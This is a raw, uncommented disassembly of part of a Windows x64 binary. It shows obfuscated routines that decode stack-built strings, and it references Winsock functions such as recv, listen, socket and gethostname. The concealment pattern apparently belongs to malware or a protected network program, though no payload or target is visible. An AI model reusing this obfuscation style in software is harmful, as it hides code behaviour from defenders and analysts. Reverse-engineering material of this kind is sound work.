lea rax, [r8 + rbx]
cmp rax, 3
je 0x140088cb4
lea rcx, [r8 + 6]
cmp rbx, rcx
jbe 0x140088a9b
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400887f0
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x1400884c3
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140088e03
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088dd7
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x1400884c3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
inc r8
dec r10
inc r10
jmp 0x1400884c3
movzx r11d, r10b
lea edx, [r11 + 0x60]
mov ecx, 0x30
jmp 0x140088d57
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140088980
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
jmp 0x14008885b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400889be
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x1400884c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400889ea
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088dd7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088a1a
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140088c74
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140088a48
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
dec r10
inc r10
jmp 0x1400884c3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140088a7c
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x1400884c3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140088866
movzx r11d, r10b
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140088d57
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088ac7
movzx r11d, r10b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x140088d68
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088af3
movzx r11d, r10b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x140088c74
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140088b1f
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088c98
cmp rbx, rcx
jne 0x1400887f0
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x1400884c3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140088b93
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x1400884c3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140088bbe
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
jmp 0x140088dd7
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140088be6
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140088c98
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140088c13
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140088c74
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140088820
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
dec r10
inc r10
jmp 0x1400884c3
mov byte [rbp + r10 + 0x260], dil
inc r10
jmp 0x1400884c3
movzx r11d, r10b
lea edx, [r11 + 0x80]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x260]
sub dil, al
add dil, 0x80
add dil, r9b
add dil, dl
add r11b, 0x50
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x30
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x260], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400884c3
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140088dd7
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x1400884c3
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x1400884c3
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
inc r8
dec r10
inc r10
jmp 0x1400884c3
movzx r11d, r10b
lea edx, [r11 - 0x50]
mov ecx, 0x18
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x50
movzx eax, r11b
and al, r9b
mov ecx, 0x18
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x260], cl
inc r8
dec r10
inc r10
jmp 0x1400884c3
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
dec r10
inc r10
jmp 0x1400884c3
lea rdx, [r10 + r12]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x260], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x40
add cl, r9b
mov byte [rbp + r10 + 0x260], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x1400884c3
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x260]
add rax, r8
add r10, rax
inc r10
jmp 0x1400884c3
add r10b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x70
jmp 0x1400884c0
add r10b, 0x70
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x10
jmp 0x1400884a8
lea rcx, [rbp + 0x17b2220]
jmp 0x140088ecc
lea rcx, [rbp + 0x7f91f0]
jmp 0x140088ecc
lea rcx, [rbp + 0x260]
lea rdx, [0x1401dc6cd]
call fcn.1400393c0
mov byte [rbp + 0xb0], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb1], 0x77
mov byte [rbp + 0xb2], WSAGetLastError
mov byte [rbp + 0xb3], WSAStartup
mov byte [rbp + 0xb4], 0x76
mov byte [rbp + 0xb5], WSAGetLastError
mov byte [rbp + 0xb6], 0x20
mov byte [rbp + 0xb7], socket
mov byte [rbp + 0xb8], 0x65
mov byte [rbp + 0xb9], 0x62
mov byte [rbp + 0xba], 0x7c
mov byte [rbp + 0xbb], 0x7a
mov byte [rbp + 0xbc], 0x78
mov byte [rbp + 0xbd], 0xc9
xor eax, eax
mov word [rbp + 0xbe], ax
movabs rsi, 0xd4fadb7061eada1
movabs r15, 0x428e64931e996425
movabs r14, 0x27ef0925125c08e3
movzx edi, byte [rsp + 0x50]
xor r12d, r12d
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r12
cmp r10, 0x10
jae 0x140089a77
movzx r9d, byte [rbp + r10 + 0xb0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140089a6b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140088fd3
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x67
jmp 0x140089000
je 0x1400899fa
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008999f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140089945
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140089921
cmp r8, r10
ja 0x140089a5f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x140089034
lea ecx, [r10 + 0x35]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x73
jmp 0x140089070
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400898dd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400898bc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008989d
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140089870
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140089564
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140089546
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140089522
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400894fd
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400894da
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400894bf
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400894a0
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140089481
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140089450
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140089080
lea rbx, [r8 + 4]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140089a42
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140089a25
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14008922b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140089210
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140089407
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400893be
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140089381
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008935b
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140089080
lea rbx, [r8 + 6]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14008932e
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008930f
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x1400892f0
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400892d5
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400892b6
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140089291
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140089269
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140089246
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140089080
lea rbx, [r8 + 9]
lea r8, [rbx + 0x80]
jmp 0x140089080
lea ecx, [r10 + 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x13
jmp 0x140089070
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
jmp 0x140088f96
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx edx, r10b
jmp 0x1400898f6
lea edx, [r10 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140088f83
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140088f83
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2e
movzx r11d, r10b
jmp 0x14008995f
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140089983
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089986
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400899b5
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx eax, byte [rbp + r10 + 0xb0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088f83
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x25
mov byte [rbp + r10 + 0xb0], dil
inc r10
jmp 0x140088f83
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
cmp r8, 4
jb 0x140089371
movzx edx, r10b
lea ecx, [rdx + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x14]
jmp 0x1400898f6
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x77
cmp rbx, 2
jae 0x1400897fc
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140089739
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140089397
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x140089823
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140089654
lea ecx, [r10 + 0x5d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x75
jmp 0x1400893d4
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xb0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088f83
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400899b5
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
movzx r11d, r10b
jmp 0x14008983e
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x140089986
movzx r11d, r10b
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008995f
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140088f83
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x140088f83
movzx edx, r10b
lea ecx, [rdx + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x1400898f6
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14008958c
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
jmp 0x14008941d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400895ca
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xb0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088f83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400895fa
movzx r11d, r10b
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008983e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140089622
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
jmp 0x140089983
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008941d
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140088f83
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008967f
movzx edx, r10b
lea ecx, [rdx - 0x61]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x59
jmp 0x1400898f6
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400896ab
movzx r11d, r10b
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
jmp 0x14008995f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400896d3
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6f
jmp 0x140089983
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400896ff
movzx r11d, r10b
lea ecx, [r11 + 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
jmp 0x14008983e
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400893d4
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x37
movzx eax, byte [rbp + r10 + 0xb0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088f83
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140089777
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0xb0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088f83
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008979f
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x140089986
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400897d1
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140088f83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140089397
movzx edx, r10b
lea ecx, [rdx - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x1400898f6
movzx r11d, r10b
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0xb0]
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008995f
movzx r11d, r10b
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r11b, 0x4b
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0xd
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0xb0], al
inc r8
add rax, r8
sub r10, rax
jmp 0x1400899b5
lea ecx, [r10 - 0x79]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
movzx eax, byte [rbp + r10 + 0xb0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088f83
movzx r11d, r10b
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
jmp 0x14008995f
lea ecx, [r10 - 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x23
dec r10
inc r10
jmp 0x140088f83
movzx edx, r10b
lea ecx, [rdx + 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x41
sub dl, 0x39
movzx eax, r9b
and al, dl
add al, al
sub r9b, al
sub r9b, 0x71
add r9b, dl
mov byte [rbp + r10 + 0xb0], r9b
inc r8
dec r10
inc r10
jmp 0x140088f83
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
inc r8
dec r10
inc r10
jmp 0x140088f83
movzx r11d, r10b
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3b
add r11b, 9
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x3f
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0xb0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140088f83
lea rax, [r10 + r15]
movzx r9d, dl
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
sub dil, 3
lea ecx, [r10 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x74
add r9b, cl
mov byte [rbp + r10 + 0xb0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0xb0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088f83
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x35
movzx eax, byte [rbp + r10 + 0xb0]
add rax, r8
add r10, rax
inc r10
jmp 0x140088f83
sub r10b, 0x5b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x7d
jmp 0x140088f80
add r10b, 0x63
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x4b
jmp 0x140088f70
lea rcx, [rbp + 0x15ca8dc]
jmp 0x140089a7e
lea rcx, [rbp + 0x13b567d]
jmp 0x140089a7e
lea rcx, [rbp + 0xb0]
lea rdx, [0x1401de732]
call fcn.1400393c0
mov byte [rbp + 0x220], 0xcd
mov byte [rbp + 0x221], reloc.WS2_32.dll_socket
mov byte [rbp + 0x222], 0xe3
mov byte [rbp + 0x223], 0xed
mov byte [rbp + 0x224], 0xe6
mov byte [rbp + 0x225], 0xe2
mov byte [rbp + 0x226], 0xa8
mov byte [rbp + 0x227], 0xf9
mov byte [rbp + 0x228], 0xe9
mov byte [rbp + 0x229], 0xe9
mov byte [rbp + 0x22a], 0xeb
mov byte [rbp + 0x22b], 0x25
mov byte [rbp + 0x22c], 0xb2
xor eax, eax
mov qword [rbp + 0x22d], rax
mov dword [rbp + 0x235], eax
mov byte [rbp + 0x239], al
movabs rsi, 0xa3920bc0c3877795
movabs r14, 0xeab623424a9666bf
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r12
cmp r10, 0x1a
jae 0x14008a659
movzx r9d, byte [rbp + r10 + 0x220]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008a64d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140089b73
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x13
jmp 0x140089b93
je 0x14008a5dc
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008a5ba
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a595
cmp r8, r10
ja 0x14008a641
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140089bc4
lea ecx, [r10 + 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x71
jmp 0x140089bf0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008a54a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008a517
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008a4e9
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008a159
nop dword [rax]
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14008a13a
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008a116
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008a0f5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14008a0d2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008a0b3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008a094
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008a075
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008a05a
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008a02d
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140089c00
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14008a624
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008a607
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140089dee
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140089dd3
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140089db8
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140089fe1
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140089f9c
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140089f5b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140089f35
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140089c00
lea rbx, [r8 + 1]
lea r8, [rbx + 6]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140089f08
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140089eed
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140089eca
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140089eab
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140089e8c
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140089e6d
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140089e4c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140089e28
lea rax, [r8 + 0x64]
cmp rbx, rax
